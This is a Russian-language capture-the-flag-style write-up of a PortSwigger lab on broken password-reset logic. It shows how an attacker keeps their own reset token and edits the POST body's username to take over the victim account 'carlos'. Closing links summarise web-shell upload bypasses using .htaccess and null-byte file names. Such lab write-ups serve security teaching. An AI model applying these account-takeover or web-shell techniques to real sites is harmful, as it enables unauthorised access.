На странице
Сломанная логика сброса пароля
Лаборатория
Password reset broken logic · Apprentice
Решение
Дано
This lab's password reset functionality is vulnerable. To solve the lab, reset Carlos's password then log in and access his "My account" page.
Your credentials: wiener:peter
Victim's username: carlos
Анализ задания
Функция сброса пароля уязвима на сайте. Необходимо сбросить пароль carlos и зайти к нему в аккаунт.
Разведка
Посмотрим, как работает функция смены пароля. Сбрасываем пароль для пользователя wiener. На почту приходит письмо со ссылкой:
https://0a95002d04f7b35180b3a379004c0024.web-security-academy.net/forgot-password?temp-forgot-password-token=0umvuzkyx1mfnas8tb890vwj1rjzk1ji
Переходим, попадаем на страницу смены пароля. Вводим новый пароль, повторяем пароль. Улетает запрос:
POST /forgot-password?temp-forgot-password-token=0umvuzkyx1mfnas8tb890vwj1rjzk1ji
Тело:
temp-forgot-password-token=0umvuzkyx1mfnas8tb890vwj1rjzk1ji&username=wiener&new-password-1=peter&new-password-2=peter
А что, если нам оставить этот токен, но поменять username, new-password-1, new-password-2?
Тело запроса будет выглядеть как:
temp-forgot-password-token=0umvuzkyx1mfnas8tb890vwj1rjzk1ji&username=carlos&new-password-1=peter&new-password-2=peter
Отправляем — успешно, пароль изменён. Входим под carlos / peter.
Лаба решена.
Ещё в этой категории
Web Shell Upload через обход блек-листа расширений (PortSwigger Lab)
.php в блек-листе, но .htaccess заливается без вопросов — подсовываем свой конфиг Apache и заставляем сервер исполнять shell.bug как PHP.
Web Shell Upload через обфускацию расширения (PortSwigger Lab)
Блек-лист расширений не пускает .php, двойное расширение shell.php.jpg отдаётся как картинка — null-byte shell.php%00.jpg обходит обе проверки.
Remote Code Execution через загрузку web shell (PortSwigger Lab)
Загрузка аватарки без валидации — заливаем PHP web shell и читаем /home/carlos/secret.